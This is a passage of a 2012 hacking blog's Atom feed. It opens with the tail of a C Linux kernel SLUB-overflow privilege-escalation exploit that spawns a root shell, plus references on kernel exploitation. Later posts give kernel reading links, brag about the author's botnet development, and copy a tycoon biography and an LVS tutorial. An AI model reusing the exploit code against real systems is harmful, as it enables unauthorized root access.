/&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("[+] shmid: %d\n", shmids[free_idx]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (ret == -1 &amp;amp;&amp;amp; errno != EIDRM) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;setresuid(0, 0, 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;setresgid(0, 0, 0);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("[+] launching root shell!\n");&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;execl("/bin/bash", "/bin/bash", NULL);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;exit(0);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mmap_init();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;setup();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;trigger();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;å...­ãEUR�å�,èEUR?&lt;br /&gt;&lt;br /&gt;1ãEUR� Jon Oberheide - Linux Kernel CAN SLUB Overflow&lt;br /&gt;2ãEUR� grip2 - Linux å+...æ ¸æº¢å?ºç "ç©¶ç³»å^--(2) - kmalloc æº¢å?ºæ?EURæoe¯&lt;br /&gt;3ãEUR� qobaiashi - the sotry of exploiting kmalloc() overflows&lt;br /&gt;4ãEUR� Ramon de Carvalho Valle - Linux Slab Allocator Bu_er Overow Vulnerabilities&lt;br /&gt;5ãEUR� wzt - How to Exploit Linux Kernel NULL Pointer Dereference&lt;br /&gt;6ãEUR� wzt - Linux kernel stack and heap exploitation&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-2660613932031049088?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2660613932031049088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2660613932031049088'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/linux-kernel-slub-overflow.html' title='Linux Kernel Slub Overflow'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8081754894006119799</id><published>2012-02-08T12:23:00.000-08:00</published><updated>2012-02-08T12:25:01.015-08:00</updated><title type='text'>some good reading materials for real 1337</title><content type='html'>&lt;a href="http://www.cloud-sec.org/"&gt;http://www.cloud-sec.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory"&gt;http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://articles.manugarg.com/systemcallinlinux2_6.html"&gt;http://articles.manugarg.com/systemcallinlinux2_6.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8081754894006119799?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8081754894006119799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8081754894006119799'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/some-good-reading-materials.html' title='some good reading materials for real 1337'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-2483738172695341775</id><published>2012-02-06T09:37:00.000-08:00</published><updated>2012-02-06T09:37:32.116-08:00</updated><title type='text'>ok after a pretty long time finally i got chance to continue again</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-wr3cOC_J0zU/TzAPiplAAMI/AAAAAAAAA4o/YK5tNqp6gh8/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-wr3cOC_J0zU/TzAPiplAAMI/AAAAAAAAA4o/YK5tNqp6gh8/s1600/botnet.jpg" width="800"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-2483738172695341775?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2483738172695341775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2483738172695341775'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/ok-after-pretty-long-time-finally-i-got.html' title='ok after a pretty long time finally i got chance to continue again'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-wr3cOC_J0zU/TzAPiplAAMI/AAAAAAAAA4o/YK5tNqp6gh8/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6185323919072296736</id><published>2012-02-04T20:56:00.005-08:00</published><updated>2012-02-04T20:56:47.634-08:00</updated><title type='text'>prepare urself cocroach</title><content type='html'>&lt;h6 class="uiStreamMessage" data-ft="{&amp;quot;type&amp;quot;:1}"&gt;&lt;span class="messageBody" data-ft="{&amp;quot;type&amp;quot;:3}"&gt;i just remember when i was young i'm good at mathematic, prepare ur self cocroach , i'll recall it back and gain more power&lt;br /&gt;&lt;a href="http://web.archive.org/web/20030813073451/http://www.solhack.ath.cx/aboutus.html" rel="nofollow nofollow" target="_blank"&gt;&lt;span&gt;http://web.archive.org/web/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span class="word_break"&gt;&lt;/span&gt;&lt;span&gt;20030813073451/http://&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span class="word_break"&gt;&lt;/span&gt;www.solhack.ath.cx/aboutus.html&lt;/a&gt;&lt;/span&gt;&lt;/h6&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6185323919072296736?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6185323919072296736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6185323919072296736'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/prepare-urself-cocroach.html' title='prepare urself cocroach'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-414536548847931222</id><published>2012-02-01T14:48:00.001-08:00</published><updated>2012-02-01T14:48:28.032-08:00</updated><title type='text'>neighbour</title><content type='html'>&lt;a href="http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/net/core/neighbour.c"&gt;http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/net/core/neighbour.c&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-414536548847931222?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/414536548847931222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/414536548847931222'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/neighbour.html' title='neighbour'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8267943687151191883</id><published>2012-02-01T14:22:00.001-08:00</published><updated>2012-02-01T14:25:05.452-08:00</updated><title type='text'>Some kprobes articles</title><content type='html'>&lt;a href="http://www.mjmwired.net/kernel/Documentation/kprobes.txt"&gt;http://www.mjmwired.net/kernel/Documentation/kprobes.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ibm.com/developerworks/library/l-kprobes/index.html"&gt;http://www.ibm.com/developerworks/library/l-kprobes/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lwn.net/Articles/132196/"&gt;http://lwn.net/Articles/132196/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_2047745819"&gt; &lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.redhat.com/magazine/005mar05/features/kprobes/"&gt;http://www.redhat.com/magazine/005mar05/features/kprobes/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8267943687151191883?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8267943687151191883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8267943687151191883'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/some-kprobes-articles.html' title='Some kprobes articles'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-7777487572211351368</id><published>2012-02-01T13:36:00.001-08:00</published><updated>2012-02-01T13:48:21.940-08:00</updated><title type='text'>burn the creativity to create some codes that never exists</title><content type='html'>so sue me all 1337 hates copycaters, they copycat other's code and call themself 1337 meanwhile i create all codes and ideas from my brain only and they calle me kids, what da fvckin retarded, fvckin shit at least i know IDT shitz&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-0iQ8V91FfxQ/TymwVB2QEqI/AAAAAAAAA4g/3ME4jR11tww/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://3.bp.blogspot.com/-0iQ8V91FfxQ/TymwVB2QEqI/AAAAAAAAA4g/3ME4jR11tww/s1600/botnet.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-7777487572211351368?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7777487572211351368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/7777487572211351368'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/burn-creativity-to-create-some-codes.html' title='burn the creativity to create some codes that never exists'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-0iQ8V91FfxQ/TymwVB2QEqI/AAAAAAAAA4g/3ME4jR11tww/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-1922922790363664320</id><published>2012-02-01T12:28:00.000-08:00</published><updated>2012-02-01T12:28:30.117-08:00</updated><title type='text'>2012 botnet development continue</title><content type='html'>i got so dizzy when i see there so many files already, so i rearrange them into folders just like my gopher, i'll never resign until i create a master piece&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-C0ZqxZLz8MQ/TymgMccvEaI/AAAAAAAAA4Y/jUoKrC_I-Ko/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0"  src="http://2.bp.blogspot.com/-C0ZqxZLz8MQ/TymgMccvEaI/AAAAAAAAA4Y/jUoKrC_I-Ko/s1600/botnet.jpg" width="620" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-1922922790363664320?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1922922790363664320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/1922922790363664320'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/2012-botnet-development-continue.html' title='2012 botnet development continue'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-C0ZqxZLz8MQ/TymgMccvEaI/AAAAAAAAA4Y/jUoKrC_I-Ko/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-3903438071569060062</id><published>2012-01-31T03:40:00.001-08:00</published><updated>2012-01-31T03:40:30.329-08:00</updated><title type='text'>Tommy Winata - my idol</title><content type='html'>&lt;img src="http://upload.wikimedia.org/wikipedia/id/a/a9/Tomy_Winata.jpg" /&gt;&lt;br /&gt;&lt;b&gt;Tommy Winata&lt;/b&gt; (lahir dengan nama &lt;b&gt;Oe Suat Hong&lt;/b&gt;&amp;nbsp;di &lt;a class="mw-redirect" href="http://id.wikipedia.org/wiki/Pontianak" title="Pontianak"&gt;Pontianak&lt;/a&gt;, &lt;a href="http://id.wikipedia.org/wiki/Kalimantan_Barat" title="Kalimantan Barat"&gt;Kalimantan Barat&lt;/a&gt;, &lt;a href="http://id.wikipedia.org/wiki/23_Juli" title="23 Juli"&gt;23 Juli&lt;/a&gt; &lt;a href="http://id.wikipedia.org/wiki/1958" title="1958"&gt;1958&lt;/a&gt;; umur 53 tahun), atau sering dikenal dengan inisial &lt;b&gt;TW&lt;/b&gt;, adalah seorang pengusaha &lt;a href="http://id.wikipedia.org/wiki/Indonesia" title="Indonesia"&gt;Indonesia&lt;/a&gt; keturunan &lt;a href="http://id.wikipedia.org/wiki/Tionghoa" title="Tionghoa"&gt;Tionghoa&lt;/a&gt; yang merupakan pemilik &lt;a class="new" href="http://id.wikipedia.org/w/index.php?title=Grup_Artha_Graha&amp;amp;action=edit&amp;amp;redlink=1" title="Grup Artha Graha (halaman belum tersedia)"&gt;Grup Artha Graha&lt;/a&gt;.  Usahanya terutama bergerak dalam bidang perbankan, tekstil dan  konstruksi. Ia seringkali didesas desuskan mempunyai kaitan dengan  bisnis hitam dan ilegal.&lt;br /&gt;Grup Artha Graha miliknya didirikan dengan dukungan dari &lt;a class="mw-redirect" href="http://id.wikipedia.org/wiki/TNI" title="TNI"&gt;TNI&lt;/a&gt; (dahulu ABRI), melalui beberapa kawan dekatnya seperti &lt;a class="mw-redirect" href="http://id.wikipedia.org/wiki/Eddy_Sudradjat" title="Eddy Sudradjat"&gt;Eddy Sudradjat&lt;/a&gt; (dahulu KSAD, sekarang Ketua Umum partai &lt;a class="mw-redirect" href="http://id.wikipedia.org/wiki/PKPI" title="PKPI"&gt;PKPI&lt;/a&gt;).Ia  termasuk "taipan" yang ditakuti karena di belakangnya konon berdiri  tokoh-tokoh militer. Suginato Kusuma atau lebih dikenal sebagai Aguan  juga adalah mitra Tomy dalam Grup Artha Graha.&lt;br /&gt;Melalui Bank Artha Graha, Tomy menyelesaikan proyek SCBD termasuk  gedung bursa saham Jakarta. Selain itu Tomy mempunyai andil dalam  pembangungan Bukit Golf Mediterania, Kelapa Gading Square, The City  Resorts, Mangga Dua Square, Pacific Place, Discovery Mall Bali,  Borobudur Hotel, The Capital Residence, Apartemen Kusuma Candra, Ancol  Mansion, The Mansion at Kemang, Mall Artha Gading, Senayan Golf  Residence.&lt;br /&gt;Taipan muda ini konon menyuruh karyawannya merusak gedung majalah dan koran &lt;a href="http://id.wikipedia.org/wiki/Tempo" title="Tempo"&gt;Tempo&lt;/a&gt; karena dituduh membakar &lt;a href="http://id.wikipedia.org/wiki/Pasar_Tanah_Abang" title="Pasar Tanah Abang"&gt;pasar Tanah Abang&lt;/a&gt; pada awal &lt;a href="http://id.wikipedia.org/wiki/2003" title="2003"&gt;2003&lt;/a&gt;. Lalu ia memenangkan proses di pengadilan dan mendapatkan uang sebesar &lt;a href="http://id.wikipedia.org/wiki/Rupiah" title="Rupiah"&gt;Rp.&lt;/a&gt; 500 &lt;a class="mw-redirect" href="http://id.wikipedia.org/wiki/Juta" title="Juta"&gt;juta&lt;/a&gt;.&lt;br /&gt;Menangnya Tommy Winata dalam sidang ini, membuat para wartawan di &lt;a href="http://id.wikipedia.org/wiki/Indonesia" title="Indonesia"&gt;Indonesia&lt;/a&gt; menjadi ketakutan dalam meliput berita.&lt;br /&gt;Sekarang ini Tomy sedang merintis perkembangan bibit unggul padi yang  diharapkan dapat meningkatkan produksi padi nasional Indonesia. Melalui  PT Sumber Alam Sutera, Tomy bekerja sama dengan Guo Hao Seed Industries  Co. Ltd. dari China untuk bersama2 mengembangkan bibit hybrid yang  dapat meningkatkan produksi padi menjadi 5-8 ton/hektar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-3903438071569060062?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3903438071569060062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/3903438071569060062'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/01/tommy-winata-my-idol.html' title='Tommy Winata - my idol'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4432011043900799123</id><published>2012-01-28T22:39:00.001-08:00</published><updated>2012-01-28T22:41:27.632-08:00</updated><title type='text'>LVS  Knowledge</title><content type='html'>&lt;div style="position: absolute;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;h1 align="CENTER"&gt;source &lt;a href="http://www.ultramonkey.org/papers/lvs_tutorial/html/"&gt;http://www.ultramonkey.org/papers/lvs_tutorial/html/ &lt;/a&gt;&lt;/h1&gt;&lt;h1 align="CENTER"&gt;Linux Virtual Server Tutorial &lt;/h1&gt;&lt;div class="author_info"&gt;&lt;div align="CENTER"&gt;&lt;b&gt;Horms (Simon Horman) - &lt;tt&gt;horms@valinux.co.jp&lt;/tt&gt;&lt;/b&gt;&
